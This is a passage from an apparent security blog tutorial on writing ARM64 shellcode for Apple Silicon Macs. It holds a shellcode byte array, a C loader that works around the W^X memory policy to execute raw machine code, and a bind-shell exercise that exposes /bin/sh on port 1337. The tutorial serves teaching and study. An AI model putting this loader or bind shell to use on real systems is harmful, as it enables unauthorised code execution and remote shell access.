0xe4, 0x0f, 0x00, 0xf9, 0xeb, 0x13, 0x00, 0xf9, 0xff, 0x17, 0x00, 0xf9,
0xe0, 0x03, 0x00, 0x91, 0xe1, 0x43, 0x00, 0x91, 0xe2, 0x03, 0x1f, 0xaa,
0x70, 0x07, 0x80, 0xd2, 0x10, 0x40, 0xa0, 0xf2, 0x01, 0x10, 0x00, 0xd4,
0x30, 0x00, 0x80, 0xd2, 0x10, 0x40, 0xa0, 0xf2, 0x00, 0x00, 0x80, 0xd2,
0x01, 0x10, 0x00, 0xd4, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22, 0x57, 0x30,
0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x3e, 0x20, 0x2f, 0x74,
0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74, 0x78, 0x74,
0x00
};
unsigned int shellcode_bin_len = 133;
Test Shellcode with Loader
Now, Let’s write a loader in C — structurally the same loader from our x86_64 blogpost: fork() a child, map the shellcode, copy it, cast to a function pointer and call it, While the parent waitpid()s and checks the side-effect. But if you take the x86_64 loader unchanged, Apple Silicon will slap you too. Watch:
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/wait.h>
#include <stdlib.h>
int main(void) {
unsigned char code[] = {
/* paste your extracted ARM64 shellcode bytes from xxd -i here */
};
size_t len = sizeof(code);
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return 1;
}
if (pid == 0) {
// child: allocate RWX, copy shellcode and execute
void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_PRIVATE, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap");
_exit(127);
}
memcpy(exec, code, len);
printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
fflush(stdout);
int (*func)() = (int(*)())exec;
int r = func();
printf("[child %d] shellcode returned %d\n", getpid(), r);
fflush(stdout);
_exit(r & 0xFF);
} else {
// parent: wait for child and then check side-effect
int status = 0;
printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
fflush(stdout);
if (waitpid(pid, &status, 0) == -1) {
perror("waitpid");
return 2;
}
if (WIFEXITED(status)) {
printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
printf("[parent] child killed by signal %d\n", WTERMSIG(status));
} else {
printf("[parent] child ended with status 0x%x\n", status);
}
usleep(200000);
const char *check_path = "/tmp/Pwned.txt";
if (access(check_path, F_OK) == 0) {
printf("[parent] Success: '%s' exists.\n", check_path);
return 0;
} else {
printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
check_path, errno, strerror(errno));
return 3;
}
}
}
Paste your real code[] bytes in, Compile it, Run it, And here is what happens on Apple Silicon:
shellcoding % clang -arch arm64 -o cloader cloader.c
shellcoding % ./cloader
[parent 39201] spawned child 39202, waiting...
mmap: Permission denied
[parent] child exited with status 127
[parent] Failure: '/tmp/Pwned.txt' not found (errno=2: No such file or directory)
mmap: Permission denied — This is the W^X (Write XOR Execute) policy that Apple enforces on Apple Silicon: you simply cannot ask for a page that is writable and executable at the same time like we casually did on x86_64. This is exactly the kind of architecture difference that makes porting shellcode knowledge to ARM64 fun. The fix is the classic W^X-compliant dance: map the page RW, copy the shellcode in, Then flip it to RX with mprotect — never writable and executable at the same time:
if (pid == 0) {
// child: allocate RW, copy shellcode, then flip to RX (W^X — required on Apple Silicon)
void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap");
_exit(127);
}
memcpy(exec, code, len);
if (mprotect(exec, len, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect");
_exit(126);
}
printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
fflush(stdout);
int (*func)() = (int(*)())exec;
int r = func();
printf("[child %d] shellcode returned %d\n", getpid(), r);
fflush(stdout);
_exit(r & 0xFF);
}
Note: The other Apple-blessed way is
MAP_JITwithpthread_jit_write_protect_np()to toggle writability around the copy — that’s what JavaScriptCore and real JIT engines use. For a loader, TheRW→ copy →mprotect(RX)dance is simpler and works everywhere.
Now run the fixed loader:
shellcoding % clang -arch arm64 -o cloader cloader.c
shellcoding % ./cloader
[parent 39201] spawned child 39202, waiting...
[child 39202] executing shellcode (133 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt
W00tW00t
As we can see our shellcode executed successfully with no issues.
The loader’s job is the same as the x86_64 one: it stores raw machine-code bytes (the shellcode) in a C unsigned char array, allocates a memory region, copies the bytes into that region, casts the region pointer to a function pointer, and then calls it. That direct transfer of control is what lets the program run arbitrary machine code in the address space of the process. Two ARM64-specific gotchas to keep in mind for your own loaders: first, The W^X mapping policy we just handled; Second, If you ever write shellcode that wants to return to the loader, X29 (frame pointer) and X30 (link register) must either not be touched, or must be saved and restored before returning (stp/ldp — Store/Load Pair), Otherwise the loader will crash the moment control comes back. Our shellcode plays it safe by ending with execve/exit so control never returns.
Exercises
If you want to dive deeper more, you can do this exercise which is involving in creating a BindShell shellcode for ARM64 and execute it — the same BindShell C code from the x86_64 post works just fine here since it’s pure C/POSIX:
// Source - https://stackoverflow.com/q
// Posted by gatorface, modified by community. See post 'Timeline' for change history
// Retrieved 2025-11-10, License - CC BY-SA 3.0
// Author: Julien Ahrens (@MrTuxracer)
// Website: http://www.rcesecurity.com
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void)
{
int i; // used for dup2 later
int sockfd; // socket file descriptor
int clientfd; // client file descriptor
socklen_t socklen; // socket-length for new connections
struct sockaddr_in srv_addr; // server aka listen address
struct sockaddr_in cli_addr; // client address
srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order
// create new TCP socket
sockfd = socket(2, 1, 0);
// bind socket
bind( sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );
// listen on socket
listen(sockfd, 0);
// accept new connections
socklen = sizeof(cli_addr);
clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );
// dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
for(i = 0; i <= 2; i++)
dup2(clientfd, i);
// magic
// execve( "/bin/sh", NULL, NULL );
//UPDATE: fixed exec call, shell still not returned to
// client connecting with execl or proper execve
execl("/bin/sh", "/bin/sh", (char *)NULL);
}
Tasks:
- Use
execve()instead ofexecl— and remember yourNULLterminator for theargvarray, Plus pointers not values. - Collect the syscall for
socket,bind,listen,acceptanddup2. As you will use it to build yourBindShell. - Study the functions arguments and get it ready for the functions/syscalls
- Make sure to go around with the
struct, Cause it’s similler to the way we built arrays - Make sure to use the kernel source code to hop-around to find a variable value, like the
#define AF_INETfor example and explore the source code to help you creating your shellcode. - This time, Remember that your syscall numbers go in
X16and the syscall instruction issvc #0x80. - Make sure to keep your stack
16-bytealigned all the way, Cause the alignment faults onARM64are not as forgiving asx86_64.
Help ?
If you got any questions or need help, You can contact me:
- Twitter/X
- Email: contact@zeyadazima.com
- Discord:
.killer_1337including.
Conclusion
We extended our macOS shellcoding series from x86_64 into the native ARM64 (AArch64) architecture used by modern Apple Silicon Macs. We set up a proper lab environment using clang instead of nasm (which doesn’t speak ARM at all), Reused the exact same XNU syscall class encoding trick from the x86_64 post but loading the ticket in X16 and ringing svc #0x80 instead of RAX + syscall, and learned the ARM64 calling conventions: X0-X7 for arguments, X16 for the syscall number, and the strict 16-byte stack alignment that the kernel actually enforces with alignment faults. We also saw how fixed-size instructions change our shellcode-writing habits — Building strings with movz/movk chunk by chunk instead of one-shot pushes, and using adr for the position-independent string trick which is even cleaner than its x86_64 sibling. Along the way we hit the real ARM64 gotchas that no x86_64 guide will warn you about: the exit-less shellcode dying with SIGILL (illegal hardware instruction) instead of a segfault, The execve pointer-vs-value and NULL-termination traps, The otool/objdump byte-order trap that silently breaks extracted shellcode (and the segedit fix), And Apple’s W^X policy that denies RWX mappings on Apple Silicon. By following our structured workflow — starting from C code, identifying syscalls from syscalls.master, converting to assembly, and handling arguments — we successfully created shellcodes for printing text, terminating processes, and executing commands, All tested on real hardware. This foundation sets the stage for more advanced topics.
References
- https://codebrowser.dev/
- https://man.freebsd.org/
- https://pubs.opengroup.org
- https://man7.org/linux/man-pages/
- https://opensource.apple.com/releases/
- https://github.com/apple-oss-distributions/xnu
- https://xcodereleases.com
- https://newosxbook.com
- https://developer.arm.com/documentation/102374/latest